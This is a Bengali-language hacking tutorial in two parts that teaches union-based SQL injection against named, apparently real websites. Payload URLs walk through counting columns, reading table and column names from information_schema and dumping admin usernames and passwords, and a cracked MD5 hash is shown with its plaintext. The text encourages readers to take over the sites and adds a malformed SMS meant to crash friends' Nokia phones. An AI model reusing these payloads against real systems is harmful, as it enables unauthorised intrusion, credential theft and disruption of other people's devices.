হ্যাকিং করার অনেকগুলো পদ্ধতি আছে। আর এর মধ্যে সবচেয়ে যেটা বেশি জনপ্রিয় সেটা হল SQL. অনেকেই হয়ত জানেন না SQL এর পূর্ণরূপ। SQL এর পূর্ণরূপ হল Structured Query Language. এটা একটি হাই লেভেল ল্যাঙ্গুয়েজ। যেটা মানুষকে স্তব্দ করে দেয়। :) যেমনঃ- select, add data, delete data, update data এর জন্য যথাক্রমে SELECT,INSERT,DELETE,UPDATE কোয়ারিগুলো ব্যবহৃত হয় এখানে। সাধারণত SQL ডাটাবেজ ডিজাইনের জন্য ব্যবহৃত হয়। তথ্য সাধারণত ডাটাবেজে সেভ থাকে। আর SQL injection এর কাজ হল একটি ত্রুটিপূর্ণ এ্যাপ্লিকেশানের ডাটাবেজের ত্রুটি বের করে এখানে আক্রমণ করে ডাটাবেজ দেখা ও ডেটাবেজের সম্পূর্ণ নিয়ন্ত্রণ নিয়ে ফেলা। আর এই ধরনের ডেটাবেজের লিংক দেখতে এমন হয়
www.anything.com/something.php?something=something
যেমনঃ-
www.tartanarmy.com/news/news.php?id=130
এখানে ১৩০ হল, আমরা ডেটাবেজের ১৩০ পার করেছি। এখন আপনি এই লিংকের একদম শেষে একটি চিহ্ন যোগ করে এটার ত্রুটি বের করবেন। চিহ্নটি হল ( ‘ ) । যেমনঃ-
www.tartanarmy.com/news/news.php?id=130'
তাহলে একটি ইরর দেখাবে।
https://www.facebook.com/unselected
এবার একটু বেসিক জিনিস দেখেনঃ—–>
প্রত্যেক ডাটাবেজ সার্ভারের উপর ডাটাবেজ আছে। তাই না ?? আবার প্রত্যেক ডেটাবেজের টেবিলও রয়েছে। আবার প্রত্যেকটি টেবিলের রয়েছে বিভিন্ন কলাম। আর এই কলামগুলোতে থাকে ডাটা সংরক্ষিত।
উপরের ছবিতে দেখুন ডাটাবেজ আছে ৬টা আমরা “explore_hacking” ডাটাবেজটা সিলেক্ট করলাম। এটার দেখুন ৪টা টেবিল আছে admin, articles, products, subscribers. প্রতিটি টেবিলের রয়েছে আরও কলাম ও ডেটা। যেমনঃ- আমি ‘admin’ টেবিলটি সিলেক্ট করলাম। এখন দেখূন, এটা রয়ে id, username, password, email কলাম। আর এই সম্পর্কে আরও বিস্তারিত জানতে আমার phpmyadmin টিউটোরিয়াল ও PHP & MySQL টিউটোরিয়ালগুলো দেখূন। তাহলে আরও ভাল করে বুঝতে পারবেন।
information_schema কি ?
এটা হল information database. আর এটি SQL database severs(version>5) এ ডিফল্ট ভাবে থাকে। এখানে সব ধরনের তথ্য সংরক্ষিত থাকে। যেমনঃ- টেবিলের নাম, কলামসহ সব তথ্য।
https://www.facebook.com/unselected
এখন আমারা “information_schema” ডেটাবেজটি ওপেন করলাম। আর এই ডেটাবেজের টেবিলটির নাম হল ”TABLES”
https://www.facebook.com/unselected
————————————————————————————————————————————————————
এতক্ষণ পর্যন্ত যত বকবক করলাম এটা কিন্তু টিউটোরিয়ালে অংশবিশেষ। এক ঢিলে দুই পাখি মারার ব্যবস্থা করলাম আপনাদের জন্য। এবার আমরা যাবো, মূল টিউটোরিয়ালে। আপনি যাবেন ???? আসেন ঘুরে আসি, কি করা যায়। একদমই বিস্তারিত ভাবে শিখুন। একদমই সহজ পদ্ধতিতে।
————————————————————————————————————————————————————
-: SQL Injection টিউটোরিয়াল :-
প্রথমে এখানে লগইন করুন।
http://www.tartanarmy.com/news/news.php?id=130
শুধু url দিলেই হবে না। এখানের ভ্যালুয়ারেবল কলাম খুঁজে বের করতে হবে। একবার একটা টিউটোরিয়ার শুরু করেছিলাম SQL এর উপর। কিন্তু সেটার ৩ পর্ব লিখে থেকে গিয়ে ছিলাম। কারণ অনেক চিন্তা ভাবনা, সময়সহ আরও অনেক ঝামেলার কারণে সেটা আর করতে পারি নি। কিন্তু চিন্তা আছে সমানে দুটা একসাথে শুরু করবো। BackTrack ও SQL . সাথেই থাকবেন।
কলাম কিভাবে বের করবেনঃ-
এখানে আমারা “ORDER BY” clause ব্যবহার করবো। এটা ব্যবহার করা হয় যাতে sort the columns এর জন্য। এখন যে কোন একটি নাম্বার সিলেক্ট করুন। যেমনঃ- 10. “–” এটি ব্যবহার করা হয়, কমেন্টের পরে কিছু করার জন্য।
এবার url টিতে যান
http://www.tartanarmy.com/news/news.php?id=130 order by 10--
উপরের লিংকটি কপি করে ব্রাউজারে পেষ্ট করুন। অথবা এখানে ক্লিক করুন Click here
মূলত এখানে আমরা ১০টি কলাম নির্দিষ্ট করলাম। যখনই আপনি এটা দিলেন, এটি সাথে সাথে একটি ইরর ম্যাসেজ দিলো, তার মানে এখানে কলাম ১০ টি থেকে কম আছে। এবার 10 এর পরিবর্তে 9 দিন।
http://www.tartanarmy.com/news/news.php?id=130 order by 9--
এখন এটি আবারও ইরর দিলো ! তার মানে এখানও এটা বুঝায় যে, কলাম ৯টির চেয়ে কম আছে। এবার আমরা একটু পন্ডিতি করে 9 এর জায়গায় 6 দিলাম।
http://www.tartanarmy.com/news/news.php?id=130 order by 6--
বাহ এটি ইরর দেয় নি। তার মানে আমরা পেয়ে গেছি। এটি যেহেতু কোন ইরর দেয় নি, তার মানে এটির ৬টি কলাম আছে।
vulnerable columns খুঁজে বের করাঃ-
একটু আগে আমরা যা করলাম তাহল, ডেটাবেজটিতে কয়টি কলাম আছে, তা বের করলাম। এখন আমরা বের করলাম কোন কলামটি vulnerable . এবার আমরা “UNION ALL” ও “SELECT” command ব্যবহার করে দেখবো। 130 এর সামনে একটি ড্যাস চিহ্ন (-) দিন।
http://www.tartanarmy.com/news/news.php?id=-130 union select all 1,2,3,4,5,6--.
অথবা এখানে ক্লিক করুন Click here
এখানে আমাদের একটি জোড় সংখ্যা পেত হবে। এখন এখানে দেখুন, যে সংখ্যাটি বোল্ড করা সেটি হল vulnerable columns. এখানে 2 নংটি হল vulnerable
https://www.facebook.com/unselected
database version খুঁজে বের করাঃ-
এবার “@@version” বা “verson()” দিয়ে most vulnerable column টি রিপ্লেস করুন। তবে এখানে প্রথম কমান্ডটি কাজ না করলে পরেরটা হবে।
http://www.tartanarmy.com/news/news.php?id=-130 union select all 1,@@version,3,4,5,6--
অথবা এখানে ক্লিক করুন Click here
তাহলে আপনি আপনার স্ক্রীণে ভার্সন দেখতে পাবেন। ভার্সন পাবেন ৫.something. মানে ৫ থেকে বেশি পাবেন। তবে কিছু কিছু ক্ষেত্র ৫ এর কম হয়, কারণ “information_schema” এ কোন ডেটাবেজ থাকে না।
https://www.facebook.com/unselected
table names খুঁজে বের করাঃ-
এবার “table_name” এ ভ্যালুয়ারেবল কলাম দিন।
http://www.tartanarmy.com/news/news.php?id=-130 union select all 1,table_name,3,4,5,6 from information_schema.tables where table_schema=database()--
অথবা এখানে ক্লিক করুন Click here
আমরা একটি পেলাম
https://www.facebook.com/unselected
এবার সকল টেবিল পেতে ব্যবহার করুন group_concat
http://www.tartanarmy.com/news/news.php?id=-130 union select all 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()--
অথবা এখানে ক্লিক করুন Click here
column names খুঁজে বের করাঃ-
এক রকম সকল টেবিল পেতে এটি ব্যবহার করুন ‘table’ with ‘column’
http://www.tartanarmy.com/news/news.php?id=-130 union select all 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_schema=database()--
অথবা এখানে ক্লিক করুন Click here
আমরা এখন পরিবর্তনে ‘id’ পেলাম। এটা থেকে আমরা জানব যে, কোন টেবিলের কোন কলাম
https://www.facebook.com/unselected
কলাম থেকে ডাটা নিয়ে আসা
এখন আমরা যে কোন একটি কলাম থেকে ডাটা নিয়ে আসবো। কিন্তু যেটা সবচেয়ে মজার বিষয় সেটা হল username ও password.
এই কলামের প্রথম টেবিল হল tar_admin. এখন আমরা “0x3a” কমান্ডটি ব্যবহার করবো। এটা ব্যবহার করা হয়, যাতে রেজাল্টের একটা সাথে আরেকটা কোলন দিয়ে আলাদা আলাদ থাকে। এটাকে বলে hex of colon.
http://www.tartanarmy.com/news/news.php?id=-130 union select all 1,group_concat(username,0x3a,password),3,4,5,6 from tar_admin--.
অথবা এখানে ক্লিক করুন Click Here
https://www.facebook.com/unselected
তাহলে আমরা ইউজার নেম ও পাসওয়ার্ড পেয়ে যাবো। কিন্তু পাসওয়ার্ড encrypted করা থাকে। বেশির ভাগ encryptions are crackable. এখন যে কোন একটি ইউজারনেম নেন। যেমনঃ- “Sneds”. পাসওয়ার্ড 7d372d3f4ad3116c9e455b20e946dd15 থেকে encrypted করতে হবে।
http://md5crack.com/crackmd5.php
উপরে লিংকে গিয়ে hashed(encrypted) password টি দিন ও ক্র্যাক করে নিন। এখন আমরা পাসওয়ার্ডটি একদমই সহজ ভাষায় পেলাম। আর সেটা হল ‘oorwullie’
ওয়েবসাইটের লগইন পেজ কোথায় পাবো ?
অনেক কষ্টে হ্যাস ক্র্যাক করে পাসওয়ার্ড বের করলাম সাথে ইউজারনেম জোগাড় করলাম। কিন্তু এখন এগুলো দিয়ে উক্ত সাইট ক্র্যাক করবো??? কোন সমস্যা নাই :)
বেশিরভাগ ওয়েবসাইটের লগইন পেজ ডিফল্ট ভাবে এক জায়গায় থাকে। এখন কিছু নমুনা দেখেনঃ——>
www.xyz.com ————————-> www.xyz.com/admin
www.xyz.com ————————-> www.xyz.com/administrator
www.xyz.com ————————-> www.xyz.com/adminlogin
আর যদি কারও খুঁজে পেতে সমস্যা হয়, তাহলে আমার এই টিউটোরিয়ালটি দেখতে পারেন।
এছাড়াও আপনি admin page finder নামের একটা টুলস ব্যবহার করতে পারেন। http://www.ziddu.com/errortracking.php?msg=File%20not%20found&fname=Admin_Finder.rar
send sms to your friends and restart her mobile
আসুন শিখে ফেলি কিভাবে আপনি SMS পাঠিয়ে আপনার বন্ধুদের মোবাইল রিস্ট্রাট করে দিতে পারেন। এটা খুব। মজার একটা বিষয় শুধু মাত্র নিচের কোড টি SMS করে পাঠিয়ে দিলেই ফোন রিস্ট্রাট হবে। এই জিনিসটা শুধু Nokia- 1110,1110i,1112,1100,2100 মডেলের হজ্যান্ডসেট গুলো রিস্ট্রাট দিতে পারে।
কোড
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
শুধু উপরের কোডটি মেসেজ বক্সে টাইপ করে সেন্ড করে দিন আপনার Nokia- 1110, 1110i, 1112, 1100, 2100 মডেলের নোকিয়া সেটের নাম্বারের।
আপনার মোবাইল থেকে এসএমএস পাঠেতে টাকা লাগবে, তাই আমি আপনাদের শিখিয়ে দিচ্ছি কিভাবে নেট থেকে ফ্রী এসএমএস পাঠানো যায়।
http://uthsms.net/?on=sms
সবাই ভাল থাকবেন…
what is SQL and how to hack a website [ part-2]
SQL
SQL Inj3cti0n কি ?
সহজ ভাষায় বলতে গেলে SQL Inj3cti0n হলো এমন একটি code inj3cti0n কৌশল যা কোনো সাইটের ডাটাবেজের সিকিউরিটি কে ভেঙ্গে তা থেকে ইনফরমেশন বের করতে পারে।
যে কোনো সাইটে SQL Inj3cti0n করা যাবে ?
না। SQL Inj3cti0n তখনি কাজ করবে যখন কোনো সাইটে SQL error থাকবে।
কোনো সাইটে SQL error আছে কি নেই তা বুজবো কিভাবে ?
যেই সব সাইটে id=value থাকে ধরুন
http://www.site.com/news.php?id=5
সাধারণত এই সব সাইটে SQL error থাকে। কোনো সাইটে SQL error এভাবেই দেখাবে না, error দেখার জন্য আপনাকে url এর শেষে একটি '(string) দিতে হবে।
উদাহরণঃ http://www.bayviewhotelni.com/news.php?id=3 এটি হচ্ছে আসল লিঙ্ক, এই লিঙ্কে যখন আপনি ব্রাউজারে লোড করবেন তখন কোনো error আসবে না। যখন আপনি url এর শেষে একটি '(string) দিবেন তখন ঠিকই error আসবে।
http://www.bayviewhotelni.com/news.php?id=3'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''3''' at line 1
অথবা অনেক সময় দেখতে পারবেন যখন ' বসিয়েছেন তখন সাইটে যদি কোনো ছবি/ডাটা মিস করে তাহলে ও অই সাইটে SQL error আছে।
অর্থাৎ বোঝা গেলো এই সাইটে SQL error আছে। তাই আমরা এই সাইটটি কে SQL Inj3cti0n করেন হ্যাক করতে পারবো।
কিভাবে SQL inj3ction করবো কোনো সাইটকে ?
প্রথমে আমরা মজিলাতে একটি এডন ইন্সটল করবো যার নাম হচ্ছে HaCkBar. এই এডনটি ব্যবহার করলে কিছু কমান্ড দিতে সহজ হয়।
ডাউনলোড করে নিন এখান থেকে : https://addons.mozilla.org/en-us/firefox/addon/hackbar/
ইন্সটল করার পরেই দেখবেন আপনার ব্রাউজারে এডনটি দেখা যাচ্ছে।
সাইটের মোট কলাম নাম্বার বের করার নিয়ম :-
আপনি যখন SQL error কোনো সাইটকে SQL Inj3cti0n করতে যাবেন তখন আপনার প্রথম কাজ হবে সাইটের ডাটাবেজে মোট কয়টি কলাম আছে তা বের করা। আর বের করার পদ্ধতি হলো order by কমান্ড।
http://www.sparkleappealdorset.org/supporter.php?id=7 order by 1--
http://www.sparkleappealdorset.org/supporter.php?id=7 order by 2--
http://www.sparkleappealdorset.org/supporter.php?id=7 order by 3--
এভাবে যেতে থাকবেন যতক্ষণ পর্যন্ত কোনো Err0r না আসে।
http://www.sparkleappealdorset.org/supporter.php?id=7 order by 11--
দিলে কিছু লিখা অদৃশ্য হয়ে যায় অর্থাৎ এই সাইটটিতে মোট 10 টি কলাম আছে।
Vulnerable কলাম বের করার নিয়ম :-
এখন আমাদের দেখতে হবে এই সাইটের ১০ টি কলামের মধ্যে কতটি কলাম vulnerable. যেই সব কলাম vulnerable সেই সব কলাম থেকেই ডাটাবেজ এর ইনফরমেশন বের করা যাবে। আমরা Union Select কমান্ড ব্যবহার করে সাইটের vulnerable কলাম গুলা বের করবো।
প্রথমে union select তারপরে যে কইটি কলাম সে কলাম গুলা ঠিক এভাবে বসাতে হবে। আর id=value er আগে একটি - চিহ্ন বসাতে হবে যেমন- http://www.sparkleappealdorset.org/supporter.php?id=-7
http://www.sparkleappealdorset.org/supporter.php?id=-7+UNION+SELECT 1,2,3,4,5,6,7,8,9,10--
ডাটাবেজ ভার্শন বের করার নিয়ম:-
যে কোনো একটি vulnerable কলামে আমরা SQL কমান্ড বসাবো যাতে আমরা ডাটাবেজের ইনফরমেশন বের করতে পারি। কোনো সাইটের ডাটাবেজ এর ভার্শন যদি 4 হয় তাহলে তা ম্যানুয়ালি inj3ct করা যাবে না। তখন টুলস ব্যবহার করতে হবে like havij । আর যদি 5 হয় তাহলে আমরা ম্যানুয়ালি inj3ct করতে পারবো।
এই সাইটটিতে অনেক গুলা vulnerable কলাম আমাদের যে কোনো একটিকে বাছাই করে নিতে হবে।
ধরি আমরা ২ নাম্বার কলাম থেকে ডাটাবেজ ভার্শন বের করবো।
তাহলে syntax টি হবে
http://www.sparkleappealdorset.org/supporter.php?id=-7+UNION+SELECT 1,version(),3,4,5,6,7,8,9,10--
vulnerable কলামে version() রিপ্লেস করলেই ডাটাবেজের ভার্শন চলে আসবে।
ডাটাবেজ থেকে টেবিল বের করার নিয়ম :-
vulnerable কলামের জাগায় group_concat(table_name) এবং এক দম শেষ কলামের পরে from information_schema.tables where table_schema=database()--
তাহলে syntax টি দাড়ায়
http://www.sparkleappealdorset.org/supporter.php?id=-7+UNION+SELECT 1,group_concat(table_name),3,4,5,6,7,8,9,10 from information_schema.tables where table_schema=database()--
যে টেবিল গুলো আমরা পেলাম তা হলো event,galleryImage,login_admin,supporter
এখানে এডমিন টেবিল হচ্ছে login_admin, এই টেবিল থেকে আমরা এডমিনের ইউসার এবং পাসওয়ার্ড বের করবো।
এডমিন টেবিল থেকে ইউজার এবং পাসওয়ার্ড বের করার নিয়ম :-
vulnerable কলামের জাগায় group_concat(column_name) এবং এক দম শেষ কলামের পরে from information_schema.columns where table_name=0xএডমিন টেবিল নামের হেক্স কোড--
তাহলে syntax টি দাড়ায়
http://www.sparkleappealdorset.org/supporter.php?id=-7+UNION+SELECT 1,group_concat(column_name),3,4,5,6,7,8,9,10 from information_schema.columns where table_name=0x6c6f67696e5f61646d696e--
এডমিন ইউসার এবং পাসওয়ার্ড বের করার নিয়ম :-
vulnerable কলামের জাগায় concat{যে কলাম গুলো পেয়েছেন সে গুলো(সব গুলো কলাম নয় সুধু মাত্র ইউসার এবং পাসওয়ার্ড এর কলাম)} এবং এক দম শেষ কলামের পরে কোন টেবিল থেকে এই কলাম পেয়েছেন সেই টেবিলের নাম।
http://www.sparkleappealdorset.org/supporter.php?id=-7+UNION+SELECT 1,concat(uid,0x3a,pwd),3,4,5,6,7,8,9,10 from login_admin--
বাস পেয়ে গেলেন সাইটের এডমিন পাসওয়ার্ড । এখন পুরো সাইটি আপনার হাতে যা খুশি তাই করুন। তবে মারাত্মক কোনো ক্ষতি না করাই ভালো। সহজেই হয়ে গেলেন একজন ওয়েব হ্যাকার :P